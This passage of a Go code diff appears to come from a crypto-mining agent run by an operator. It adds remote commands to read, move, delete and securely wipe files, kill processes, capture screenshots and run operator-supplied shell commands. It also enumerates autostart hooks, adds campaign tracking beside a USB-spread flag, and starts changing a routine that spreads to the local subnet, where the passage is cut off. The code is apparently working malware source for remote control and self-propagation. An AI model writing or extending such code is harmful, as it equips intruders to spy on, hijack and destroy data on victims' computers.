+func containsPathTraversal(raw string) bool {
+	raw = strings.TrimSpace(raw)
+	if raw == "" {
+		return false
+	}
+	// Allow ~/ prefix — resolved via home, not traversal.
+	if strings.HasPrefix(raw, "~/") {
+		raw = raw[2:]
+	}
+	raw = strings.ReplaceAll(raw, "\\", "/")
+	for _, part := range strings.Split(raw, "/") {
+		if part == ".." {
+			return true
+		}
+	}
+	return false
+}
+
+func userHomeDir() (string, error) {
+	home, err := os.UserHomeDir()
+	if err != nil || home == "" {
+		return "", fmt.Errorf("home directory unavailable")
+	}
+	return filepath.Clean(home), nil
+}
+
+func resolveListDirPath(path string) (string, error) {
+	path = strings.TrimSpace(path)
+	if path == "" || path == "~" || path == "@home" {
+		return userHomeDir()
+	}
+	if containsPathTraversal(path) {
+		return "", fmt.Errorf("path traversal (..) is not allowed")
+	}
+	resolved, err := deploy.ResolveRemotePath(path)
+	if err != nil {
+		return "", err
+	}
+	resolved = filepath.Clean(resolved)
+	info, err := os.Stat(resolved)
+	if err != nil {
+		return "", err
+	}
+	if !info.IsDir() {
+		return "", fmt.Errorf("path is not a directory")
+	}
+	return resolved, nil
+}
+
+func readDirectoryEntries(dir string) ([]dirEntry, error) {
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return nil, err
+	}
+	out := make([]dirEntry, 0, len(entries))
+	for _, e := range entries {
+		if hiddenDirNames[e.Name()] {
+			continue
+		}
+		info, err := e.Info()
+		if err != nil {
+			continue
+		}
+		out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
+		if len(out) >= maxListDirEntries {
+			break
+		}
+	}
+	return out, nil
+}
+
+func (c *AgentClient) doListDir(action, path string) bool {
+	if action != "list_dir" {
+		return false
+	}
+	resolved, err := resolveListDirPath(path)
+	if err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	home, _ := userHomeDir()
+	entries, err := readDirectoryEntries(resolved)
+	if err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	resp := listDirResponse{
+		Path:     resolved,
+		HomeDir:  home,
+		Platform: runtime.GOOS,
+		Entries:  entries,
+	}
+	b, _ := json.Marshal(resp)
+	c.sendCommandResult(action, true, string(b))
+	return true
+}
+
+var blockedDeletePrefixes = []string{
+	"c:/windows", "c:/program files", "c:/program files (x86)",
+	"/bin", "/sbin", "/usr", "/etc", "/lib", "/system",
+}
+
+func isBlockedDeletePath(resolved string) bool {
+	lower := strings.ToLower(strings.ReplaceAll(filepath.Clean(resolved), `\`, `/`))
+	home, _ := userHomeDir()
+	if home != "" {
+		homeNorm := strings.ToLower(strings.ReplaceAll(filepath.Clean(home), `\`, `/`))
+		if lower == homeNorm {
+			return true
+		}
+	}
+	for _, prefix := range blockedDeletePrefixes {
+		if strings.HasPrefix(lower, prefix) {
+			return true
+		}
+	}
+	return false
+}
+
+func (c *AgentClient) doDeletePath(action, path string) bool {
+	if action != "delete_path" {
+		return false
+	}
+	if path == "" {
+		c.sendCommandResult(action, false, "path is required")
+		return true
+	}
+	if containsPathTraversal(path) {
+		c.sendCommandResult(action, false, "path traversal (..) is not allowed")
+		return true
+	}
+	resolved, err := deploy.ResolveRemotePath(path)
+	if err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	resolved = filepath.Clean(resolved)
+	if isBlockedDeletePath(resolved) {
+		c.sendCommandResult(action, false, "refusing to delete protected system path")
+		return true
+	}
+	info, err := os.Stat(resolved)
+	if err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	if info.IsDir() {
+		c.sendCommandResult(action, false, "refusing to delete directories (files only)")
+		return true
+	}
+	if err := os.Remove(resolved); err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	c.sendCommandResult(action, true, fmt.Sprintf("deleted %s", resolved))
+	return true
+}
+
+func (c *AgentClient) doMovePath(action, path, dest string) bool {
+	if action != "move_path" {
+		return false
+	}
+	if path == "" || dest == "" {
+		c.sendCommandResult(action, false, "path (source) and data (destination) are required")
+		return true
+	}
+	if containsPathTraversal(path) || containsPathTraversal(dest) {
+		c.sendCommandResult(action, false, "path traversal (..) is not allowed")
+		return true
+	}
+	src, err := deploy.ResolveRemotePath(path)
+	if err != nil {
+		c.sendCommandResult(action, false, "source: "+err.Error())
+		return true
+	}
+	dst, err := deploy.ResolveRemotePath(dest)
+	if err != nil {
+		c.sendCommandResult(action, false, "destination: "+err.Error())
+		return true
+	}
+	src = filepath.Clean(src)
+	dst = filepath.Clean(dst)
+	if isBlockedDeletePath(src) || isBlockedDeletePath(dst) {
+		c.sendCommandResult(action, false, "refusing to move protected system path")
+		return true
+	}
+	if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
+		c.sendCommandResult(action, false, "mkdir: "+err.Error())
+		return true
+	}
+	if err := os.Rename(src, dst); err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	c.sendCommandResult(action, true, fmt.Sprintf("moved %s → %s", src, dst))
+	return true
+}
+
+func (c *AgentClient) doReadFile(action, path string) bool {
+	if action != "read_file" {
+		return false
+	}
+	if path == "" {
+		c.sendCommandResult(action, false, "path is required")
+		return true
+	}
+	if containsPathTraversal(path) {
+		c.sendCommandResult(action, false, "path traversal (..) is not allowed")
+		return true
+	}
+	resolved, err := deploy.ResolveRemotePath(path)
+	if err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	info, err := os.Stat(resolved)
+	if err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	if info.IsDir() {
+		c.sendCommandResult(action, false, "path is a directory")
+		return true
+	}
+	if info.Size() > maxReadFileBytes {
+		c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
+		return true
+	}
+	b, err := os.ReadFile(resolved)
+	if err != nil {
+		c.sendCommandResult(action, false, err.Error())
+		return true
+	}
+	c.sendCommandResult(action, true, string(b))
+	return true
+}
--- a/agent/client/file_ops_common_test.go
+++ b/agent/client/file_ops_common_test.go
@@ -0,0 +1,88 @@
+package client
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestContainsPathTraversal(t *testing.T) {
+	cases := []struct {
+		path string
+		want bool
+	}{
+		{"", false},
+		{"/home/user/docs", false},
+		{"C:\\Users\\alice", false},
+		{"~/Downloads", false},
+		{"../etc/passwd", true},
+		{"/home/user/../../etc", true},
+		{"foo/../bar", true},
+	}
+	for _, tc := range cases {
+		if got := containsPathTraversal(tc.path); got != tc.want {
+			t.Errorf("containsPathTraversal(%q) = %v, want %v", tc.path, got, tc.want)
+		}
+	}
+}
+
+func TestResolveListDirPathRejectsTraversal(t *testing.T) {
+	_, err := resolveListDirPath("../outside")
+	if err == nil {
+		t.Fatal("expected traversal error")
+	}
+}
+
+func TestResolveListDirPathEmptyUsesHome(t *testing.T) {
+	home, err := os.UserHomeDir()
+	if err != nil {
+		t.Skip("no home dir")
+	}
+	for _, input := range []string{"", "~", "@home"} {
+		got, err := resolveListDirPath(input)
+		if err != nil {
+			t.Fatalf("resolveListDirPath(%q): %v", input, err)
+		}
+		if got != filepath.Clean(home) {
+			t.Fatalf("resolveListDirPath(%q) = %q, want %q", input, got, home)
+		}
+	}
+}
+
+func TestIsBlockedDeletePath(t *testing.T) {
+	if !isBlockedDeletePath(`C:\Windows\System32\kernel32.dll`) {
+		t.Fatal("expected Windows system path blocked")
+	}
+	if !isBlockedDeletePath(`/usr/bin/bash`) {
+		t.Fatal("expected /usr blocked")
+	}
+	home, err := os.UserHomeDir()
+	if err != nil {
+		t.Skip("no home")
+	}
+	if !isBlockedDeletePath(home) {
+		t.Fatal("expected home root blocked")
+	}
+	tmp := filepath.Join(home, "test_delete_guard.txt")
+	if isBlockedDeletePath(tmp) {
+		t.Fatalf("expected user file path allowed: %s", tmp)
+	}
+}
+
+func TestReadDirectoryEntriesCapsCount(t *testing.T) {
+	dir := t.TempDir()
+	for i := 0; i < maxListDirEntries+10; i++ {
+		name := filepath.Join(dir, fmt.Sprintf("file_%d.txt", i))
+		if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
+			t.Fatal(err)
+		}
+	}
+	entries, err := readDirectoryEntries(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(entries) != maxListDirEntries {
+		t.Fatalf("entries len = %d, want cap %d", len(entries), maxListDirEntries)
+	}
+}
--- a/agent/client/file_ops_unix.go
+++ b/agent/client/file_ops_unix.go
@@ -2,10 +2,17 @@

 package client

-func (c *AgentClient) handleFileCommand(action, path string) bool {
-	switch action {
-	case "list_dir", "read_file":
-		c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
+func (c *AgentClient) handleFileCommand(action, path, data string) bool {
+	if c.doListDir(action, path) {
+		return true
+	}
+	if c.doReadFile(action, path) {
+		return true
+	}
+	if c.doDeletePath(action, path) {
+		return true
+	}
+	if c.doMovePath(action, path, data) {
 		return true
 	}
 	return false
--- a/agent/client/file_ops_windows.go
+++ b/agent/client/file_ops_windows.go
@@ -2,80 +2,17 @@

 package client

-import (
-	"encoding/json"
-	"fmt"
-	"os"
-
-	"crypto-miner-agent/deploy"
-)
-
-const maxReadFileBytes = 512 * 1024
-
-type dirEntry struct {
-	Name  string `json:"name"`
-	IsDir bool   `json:"is_dir"`
-	Size  int64  `json:"size"`
-}
-
-func (c *AgentClient) handleFileCommand(action, path string) bool {
-	switch action {
-	case "list_dir":
-		if path == "" {
-			c.sendCommandResult(action, false, "path is required")
-			return true
-		}
-		resolved, err := deploy.ResolveRemotePath(path)
-		if err != nil {
-			c.sendCommandResult(action, false, err.Error())
-			return true
-		}
-		entries, err := os.ReadDir(resolved)
-		if err != nil {
-			c.sendCommandResult(action, false, err.Error())
-			return true
-		}
-		out := make([]dirEntry, 0, len(entries))
-		for _, e := range entries {
-			info, err := e.Info()
-			if err != nil {
-				continue
-			}
-			out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
-		}
-		b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out})
-		c.sendCommandResult(action, true, string(b))
+func (c *AgentClient) handleFileCommand(action, path, data string) bool {
+	if c.doListDir(action, path) {
 		return true
-
-	case "read_file":
-		if path == "" {
-			c.sendCommandResult(action, false, "path is required")
-			return true
-		}
-		resolved, err := deploy.ResolveRemotePath(path)
-		if err != nil {
-			c.sendCommandResult(action, false, err.Error())
-			return true
-		}
-		info, err := os.Stat(resolved)
-		if err != nil {
-			c.sendCommandResult(action, false, err.Error())
-			return true
-		}
-		if info.IsDir() {
-			c.sendCommandResult(action, false, "path is a directory")
-			return true
-		}
-		if info.Size() > maxReadFileBytes {
-			c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
-			return true
-		}
-		b, err := os.ReadFile(resolved)
-		if err != nil {
-			c.sendCommandResult(action, false, err.Error())
-			return true
-		}
-		c.sendCommandResult(action, true, string(b))
+	}
+	if c.doReadFile(action, path) {
+		return true
+	}
+	if c.doDeletePath(action, path) {
+		return true
+	}
+	if c.doMovePath(action, path, data) {
 		return true
 	}
 	return false
--- a/agent/client/kill_process.go
+++ b/agent/client/kill_process.go
@@ -0,0 +1,28 @@
+package client
+
+import (
+	"fmt"
+	"os/exec"
+	"runtime"
+	"strconv"
+	"strings"
+)
+
+func killProcessByPID(pidStr string) (bool, string) {
+	pid, err := strconv.Atoi(strings.TrimSpace(pidStr))
+	if err != nil || pid <= 0 {
+		return false, "invalid pid: " + pidStr
+	}
+	if runtime.GOOS == "windows" {
+		out, err := silentCombinedOutput("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
+		if err != nil {
+			return false, formatCmdErr(err, out)
+		}
+		return true, strings.TrimSpace(string(out))
+	}
+	out, err := exec.Command("kill", "-9", fmt.Sprintf("%d", pid)).CombinedOutput()
+	if err != nil {
+		return false, formatCmdErr(err, out)
+	}
+	return true, strings.TrimSpace(string(out))
+}
--- a/agent/client/kill_process_test.go
+++ b/agent/client/kill_process_test.go
@@ -0,0 +1,13 @@
+package client
+
+import "testing"
+
+func TestKillProcessByPIDInvalid(t *testing.T) {
+	ok, msg := killProcessByPID("not-a-pid")
+	if ok {
+		t.Fatal("expected failure for invalid pid")
+	}
+	if msg == "" {
+		t.Fatal("expected error message")
+	}
+}
--- a/agent/client/persistence_audit.go
+++ b/agent/client/persistence_audit.go
@@ -0,0 +1,16 @@
+package client
+
+// PersistenceAuditEntry is one discovered autostart hook (read-only).
+type PersistenceAuditEntry struct {
+	Kind    string `json:"kind"`
+	Name    string `json:"name"`
+	Detail  string `json:"detail,omitempty"`
+	Enabled bool   `json:"enabled,omitempty"`
+}
+
+// PersistenceAuditReport summarizes Run keys, tasks, and service hooks.
+type PersistenceAuditReport struct {
+	Platform string                  `json:"platform"`
+	Entries  []PersistenceAuditEntry `json:"entries"`
+	Count    int                     `json:"count"`
+}
--- a/agent/client/persistence_audit_darwin.go
+++ b/agent/client/persistence_audit_darwin.go
@@ -0,0 +1,51 @@
+//go:build darwin
+
+package client
+
+import (
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func collectPersistenceAudit() PersistenceAuditReport {
+	report := PersistenceAuditReport{Platform: "darwin"}
+	home, _ := os.UserHomeDir()
+	if home != "" {
+		agentsDir := filepath.Join(home, "Library", "LaunchAgents")
+		if entries, err := os.ReadDir(agentsDir); err == nil {
+			for _, e := range entries {
+				if e.IsDir() || !strings.HasSuffix(e.Name(), ".plist") {
+					continue
+				}
+				report.Entries = append(report.Entries, PersistenceAuditEntry{
+					Kind:   "launch_agent",
+					Name:   e.Name(),
+					Detail: agentsDir,
+				})
+			}
+		}
+	}
+	out, err := exec.Command("/bin/sh", "-c", "launchctl list 2>/dev/null | head -40").CombinedOutput()
+	if err == nil {
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if line == "" || strings.HasPrefix(line, "PID") {
+				continue
+			}
+			fields := strings.Fields(line)
+			if len(fields) < 3 {
+				continue
+			}
+			report.Entries = append(report.Entries, PersistenceAuditEntry{
+				Kind:    "launchctl",
+				Name:    fields[len(fields)-1],
+				Detail:  line,
+				Enabled: fields[0] != "-",
+			})
+		}
+	}
+	report.Count = len(report.Entries)
+	return report
+}
--- a/agent/client/persistence_audit_stub.go
+++ b/agent/client/persistence_audit_stub.go
@@ -0,0 +1,7 @@
+//go:build !windows && !linux && !darwin
+
+package client
+
+func collectPersistenceAudit() PersistenceAuditReport {
+	return PersistenceAuditReport{Platform: "unknown"}
+}
--- a/agent/client/persistence_audit_unix.go
+++ b/agent/client/persistence_audit_unix.go
@@ -0,0 +1,59 @@
+//go:build linux
+
+package client
+
+import (
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func collectPersistenceAudit() PersistenceAuditReport {
+	report := PersistenceAuditReport{Platform: "linux"}
+	home, _ := os.UserHomeDir()
+	if home != "" {
+		autostart := filepath.Join(home, ".config", "autostart")
+		if entries, err := os.ReadDir(autostart); err == nil {
+			for _, e := range entries {
+				if e.IsDir() {
+					continue
+				}
+				report.Entries = append(report.Entries, PersistenceAuditEntry{
+					Kind: "xdg_autostart",
+					Name: e.Name(),
+					Detail: autostart,
+				})
+			}
+		}
+		unitDir := filepath.Join(home, ".config", "systemd", "user")
+		if entries, err := os.ReadDir(unitDir); err == nil {
+			for _, e := range entries {
+				if e.IsDir() || !strings.HasSuffix(e.Name(), ".service") {
+					continue
+				}
+				report.Entries = append(report.Entries, PersistenceAuditEntry{
+					Kind: "systemd_user",
+					Name: e.Name(),
+					Detail: unitDir,
+				})
+			}
+		}
+	}
+	out, err := exec.Command("/bin/sh", "-c", "crontab -l 2>/dev/null").CombinedOutput()
+	if err == nil {
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if line == "" || strings.HasPrefix(line, "#") {
+				continue
+			}
+			report.Entries = append(report.Entries, PersistenceAuditEntry{
+				Kind:   "crontab",
+				Name:   "user crontab",
+				Detail: line,
+			})
+		}
+	}
+	report.Count = len(report.Entries)
+	return report
+}
--- a/agent/client/persistence_audit_windows.go
+++ b/agent/client/persistence_audit_windows.go
@@ -0,0 +1,72 @@
+//go:build windows
+
+package client
+
+import (
+	"strings"
+)
+
+func collectPersistenceAudit() PersistenceAuditReport {
+	report := PersistenceAuditReport{Platform: "windows"}
+	queries := []struct {
+		kind, hive, sub string
+	}{
+		{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
+		{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
+		{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\Run`},
+		{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
+	}
+	for _, q := range queries {
+		out, err := silentCombinedOutput("reg", "query", q.hive+`\`+q.sub)
+		if err != nil {
+			continue
+		}
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if line == "" || strings.HasPrefix(line, "HKEY_") || strings.HasPrefix(line, q.sub) {
+				continue
+			}
+			parts := strings.Fields(line)
+			if len(parts) < 2 {
+				continue
+			}
+			name := parts[0]
+			val := strings.Join(parts[2:], " ")
+			if strings.EqualFold(name, "REG_SZ") || strings.EqualFold(name, "REG_EXPAND_SZ") {
+				continue
+			}
+			report.Entries = append(report.Entries, PersistenceAuditEntry{
+				Kind:   q.kind,
+				Name:   name,
+				Detail: q.hive + `\` + q.sub + ` → ` + val,
+			})
+		}
+	}
+	taskOut, err := silentCombinedOutput("schtasks", "/Query", "/FO", "LIST", "/V")
+	if err == nil {
+		var curName, curRun string
+		flush := func() {
+			if curName != "" {
+				report.Entries = append(report.Entries, PersistenceAuditEntry{
+					Kind:    "scheduled_task",
+					Name:    curName,
+					Detail:  curRun,
+					Enabled: true,
+				})
+			}
+			curName, curRun = "", ""
+		}
+		for _, line := range strings.Split(string(taskOut), "\n") {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(line, "TaskName:") {
+				flush()
+				curName = strings.TrimSpace(strings.TrimPrefix(line, "TaskName:"))
+			} else if strings.HasPrefix(line, "Task To Run:") {
+				curRun = strings.TrimSpace(strings.TrimPrefix(line, "Task To Run:"))
+			}
+		}
+		flush()
+	}
+	report.Count = len(report.Entries)
+	return report
+}
--- a/agent/client/protocol.go
+++ b/agent/client/protocol.go
@@ -43,6 +43,8 @@ type AuthPayload struct {
 	MacAddress       string `json:"mac_address,omitempty"`
 	BuildID          string `json:"build_id,omitempty"`
 	USBSpread        bool   `json:"usb_spread,omitempty"`
+	Campaign         string `json:"campaign,omitempty"`
+	UTM              string `json:"utm,omitempty"`
 }

 type AuthResponse struct {
--- a/agent/client/screenshot_common.go
+++ b/agent/client/screenshot_common.go
@@ -0,0 +1,30 @@
+package client
+
+import "strings"
+
+func extractScreenshotBase64(out []byte) string {
+	s := strings.TrimSpace(string(out))
+	s = strings.TrimPrefix(s, "\ufeff")
+	best := ""
+	for _, part := range strings.Fields(s) {
+		var b strings.Builder
+		for _, r := range part {
+			if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
+				b.WriteRune(r)
+			}
+		}
+		cleaned := b.String()
+		if len(cleaned) > len(best) {
+			best = cleaned
+		}
+	}
+	if len(best) >= 100 {
+		return best
+	}
+	return strings.Map(func(r rune) rune {
+		if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
+			return r
+		}
+		return -1
+	}, s)
+}
--- a/agent/client/screenshot_darwin.go
+++ b/agent/client/screenshot_darwin.go
@@ -0,0 +1,45 @@
+//go:build darwin
+
+package client
+
+import (
+	"encoding/base64"
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+)
+
+func capturePlatformScreenshot(customCmd string) (string, error) {
+	if strings.TrimSpace(customCmd) != "" {
+		out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
+		if err != nil {
+			return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
+		}
+		if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
+			return b64, nil
+		}
+		return "", fmt.Errorf("custom screenshot command returned no image data")
+	}
+
+	tmp, err := os.CreateTemp("", "af-scr-*.jpg")
+	if err != nil {
+		return "", err
+	}
+	path := tmp.Name()
+	_ = tmp.Close()
+	defer os.Remove(path)
+
+	out, runErr := exec.Command("screencapture", "-x", "-t", "jpg", path).CombinedOutput()
+	if runErr != nil {
+		return "", fmt.Errorf("screencapture: %v (%s)", runErr, strings.TrimSpace(string(out)))
+	}
+	raw, err := os.ReadFile(path)
+	if err != nil {
+		return "", err
+	}
+	if len(raw) < 100 {
+		return "", fmt.Errorf("screencapture produced empty image")
+	}
+	return base64.StdEncoding.EncodeToString(raw), nil
+}
--- a/agent/client/screenshot_linux.go
+++ b/agent/client/screenshot_linux.go
@@ -0,0 +1,80 @@
+//go:build linux
+
+package client
+
+import (
+	"encoding/base64"
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+)
+
+func capturePlatformScreenshot(customCmd string) (string, error) {
+	if strings.TrimSpace(customCmd) != "" {
+		out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
+		if err != nil {
+			return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
+		}
+		if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
+			return b64, nil
+		}
+		return "", fmt.Errorf("custom screenshot command returned no image data")
+	}
+
+	if raw, err := captureLinuxScreenshotJPEG(); err == nil && len(raw) >= 100 {
+		return base64.StdEncoding.EncodeToString(raw), nil
+	} else if err != nil {
+		return "", err
+	}
+	return "", fmt.Errorf("screenshot failed: install scrot, imagemagick (import), or gnome-screenshot")
+}
+
+func captureLinuxScreenshotJPEG() ([]byte, error) {
+	if scrot, err := exec.LookPath("scrot"); err == nil {
+		tmp, err := os.CreateTemp("", "af-scr-*.jpg")
+		if err != nil {
+			return nil, err
+		}
+		path := tmp.Name()
+		_ = tmp.Close()
+		defer os.Remove(path)
+		out, runErr := exec.Command(scrot, "-q", "55", path).CombinedOutput()
+		if runErr != nil {
+			return nil, fmt.Errorf("scrot: %v (%s)", runErr, strings.TrimSpace(string(out)))
+		}
+		return os.ReadFile(path)
+	}
+
+	if importCmd, err := exec.LookPath("import"); err == nil {
+		tmp, err := os.CreateTemp("", "af-scr-*.jpg")
+		if err != nil {
+			return nil, err
+		}
+		path := tmp.Name()
+		_ = tmp.Close()
+		defer os.Remove(path)
+		out, runErr := exec.Command(importCmd, "-window", "root", "-quality", "55", path).CombinedOutput()
+		if runErr != nil {
+			return nil, fmt.Errorf("import: %v (%s)", runErr, strings.TrimSpace(string(out)))
+		}
+		return os.ReadFile(path)
+	}
+
+	if gnome, err := exec.LookPath("gnome-screenshot"); err == nil {
+		tmp, err := os.CreateTemp("", "af-scr-*.jpg")
+		if err != nil {
+			return nil, err
+		}
+		path := tmp.Name()
+		_ = tmp.Close()
+		defer os.Remove(path)
+		out, runErr := exec.Command(gnome, "-f", path).CombinedOutput()
+		if runErr != nil {
+			return nil, fmt.Errorf("gnome-screenshot: %v (%s)", runErr, strings.TrimSpace(string(out)))
+		}
+		return os.ReadFile(path)
+	}
+
+	return nil, fmt.Errorf("no screenshot tool found (scrot, import, gnome-screenshot)")
+}
--- a/agent/client/screenshot_stub.go
+++ b/agent/client/screenshot_stub.go
@@ -0,0 +1,9 @@
+//go:build !windows && !linux && !darwin
+
+package client
+
+import "fmt"
+
+func capturePlatformScreenshot(_ string) (string, error) {
+	return "", fmt.Errorf("screenshot not supported on this platform")
+}
--- a/agent/client/screenshot_windows.go
+++ b/agent/client/screenshot_windows.go
@@ -2,8 +2,6 @@

 package client

-import "strings"
-
 const screenshotPSScript = `
 $ErrorActionPreference = 'Stop'
 Add-Type -AssemblyName System.Windows.Forms,System.Drawing
@@ -19,29 +17,3 @@ $b.Save($ms, $enc, $ep)
 [Convert]::ToBase64String($ms.ToArray())
 `

-func extractScreenshotBase64(out []byte) string {
-	s := strings.TrimSpace(string(out))
-	s = strings.TrimPrefix(s, "\ufeff")
-	best := ""
-	for _, part := range strings.Fields(s) {
-		var b strings.Builder
-		for _, r := range part {
-			if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
-				b.WriteRune(r)
-			}
-		}
-		cleaned := b.String()
-		if len(cleaned) > len(best) {
-			best = cleaned
-		}
-	}
-	if len(best) >= 100 {
-		return best
-	}
-	return strings.Map(func(r rune) rune {
-		if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
-			return r
-		}
-		return -1
-	}, s)
-}
--- a/agent/client/secure_wipe.go
+++ b/agent/client/secure_wipe.go
@@ -0,0 +1,104 @@
+package client
+
+import (
+	"crypto/rand"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+const secureWipeBlockSize = 64 * 1024
+
+// SecureWipePath overwrites files in a directory then deletes them (single pass).
+func SecureWipePath(targetPath string) string {
+	targetPath = strings.TrimSpace(targetPath)
+	if targetPath == "" {
+		return "secure_wipe error: path is required"
+	}
+	if containsPathTraversal(targetPath) {
+		return "secure_wipe error: path traversal (..) is not allowed"
+	}
+	resolved, err := deploy.ResolveRemotePath(targetPath)
+	if err != nil {
+		return "secure_wipe error: " + err.Error()
+	}
+	resolved = filepath.Clean(resolved)
+	if isBlockedDeletePath(resolved) {
+		return "secure_wipe error: refusing to wipe protected system path"
+	}
+	info, err := os.Stat(resolved)
+	if err != nil {
+		return "secure_wipe error: " + err.Error()
+	}
+	if !info.IsDir() {
+		return "secure_wipe error: path must be a directory"
+	}
+
+	var wiped, failed int
+	var errs []string
+	err = filepath.WalkDir(resolved, func(path string, d os.DirEntry, walkErr error) error {
+		if walkErr != nil || d.IsDir() {
+			return nil
+		}
+		if err := overwriteFile(path); err != nil {
+			failed++
+			if len(errs) < 5 {
+				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
+			}
+			return nil
+		}
+		if err := os.Remove(path); err != nil {
+			failed++
+			if len(errs) < 5 {
+				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
+			}
+			return nil
+		}
+		wiped++
+		return nil
+	})
+	if err != nil {
+		return "secure_wipe walk error: " + err.Error()
+	}
+	_ = os.Remove(resolved)
+
+	summary := fmt.Sprintf("secure_wipe done — wiped: %d  failed: %d  path: %s", wiped, failed, resolved)
+	if len(errs) > 0 {
+		summary += "\nErrors: " + strings.Join(errs, "; ")
+	}
+	return summary
+}
+
+func overwriteFile(path string) error {
+	info, err := os.Stat(path)
+	if err != nil {
+		return err
+	}
+	size := info.Size()
+	f, err := os.OpenFile(path, os.O_WRONLY, 0)
+	if err != nil {
+		return err
+	}
+	defer f.Close()
+
+	buf := make([]byte, secureWipeBlockSize)
+	remaining := size
+	for remaining > 0 {
+		n := int64(len(buf))
+		if remaining < n {
+			n = remaining
+		}
+		if _, err := io.ReadFull(rand.Reader, buf[:n]); err != nil {
+			return err
+		}
+		if _, err := f.Write(buf[:n]); err != nil {
+			return err
+		}
+		remaining -= n
+	}
+	return f.Sync()
+}
--- a/agent/client/secure_wipe_test.go
+++ b/agent/client/secure_wipe_test.go
@@ -0,0 +1,48 @@
+package client
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestSecureWipePathRejectsSystemRoot(t *testing.T) {
+	msg := SecureWipePath(`C:\Windows`)
+	if !strings.Contains(msg, "protected system path") {
+		t.Fatalf("expected blocked path, got %q", msg)
+	}
+}
+
+func TestSecureWipePathRequiresDirectory(t *testing.T) {
+	dir := t.TempDir()
+	file := filepath.Join(dir, "one.txt")
+	if err := os.WriteFile(file, []byte("secret"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	msg := SecureWipePath(file)
+	if !strings.Contains(msg, "must be a directory") {
+		t.Fatalf("expected directory error, got %q", msg)
+	}
+}
+
+func TestSecureWipePathWipesFiles(t *testing.T) {
+	dir := t.TempDir()
+	sub := filepath.Join(dir, "wipe_me")
+	if err := os.Mkdir(sub, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(sub, "a.txt"), []byte("data"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(sub, "b.txt"), []byte("more"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	msg := SecureWipePath(sub)
+	if !strings.Contains(msg, "wiped: 2") {
+		t.Fatalf("unexpected summary: %q", msg)
+	}
+	if _, err := os.Stat(sub); !os.IsNotExist(err) {
+		t.Fatalf("expected directory removed, stat err=%v", err)
+	}
+}
--- a/agent/deploy/aggressive_stub.go
+++ b/agent/deploy/aggressive_stub.go
@@ -1,4 +1,4 @@
-//go:build !windows
+//go:build !windows && !linux

 package deploy

--- a/agent/deploy/aggressive_stub_test.go
+++ b/agent/deploy/aggressive_stub_test.go
@@ -1,4 +1,4 @@
-//go:build !windows
+//go:build !windows && !linux

 package deploy

--- a/agent/deploy/autospread.go
+++ b/agent/deploy/autospread.go
@@ -95,10 +95,19 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
 	for _, ip := range getLocalIPs() {
 		localSet[ip] = true
 	}
+	var filtered []string
 	for _, target := range targets {
 		if localSet[target] {
 			continue
 		}
+		filtered = append(filtered, target)
+	}
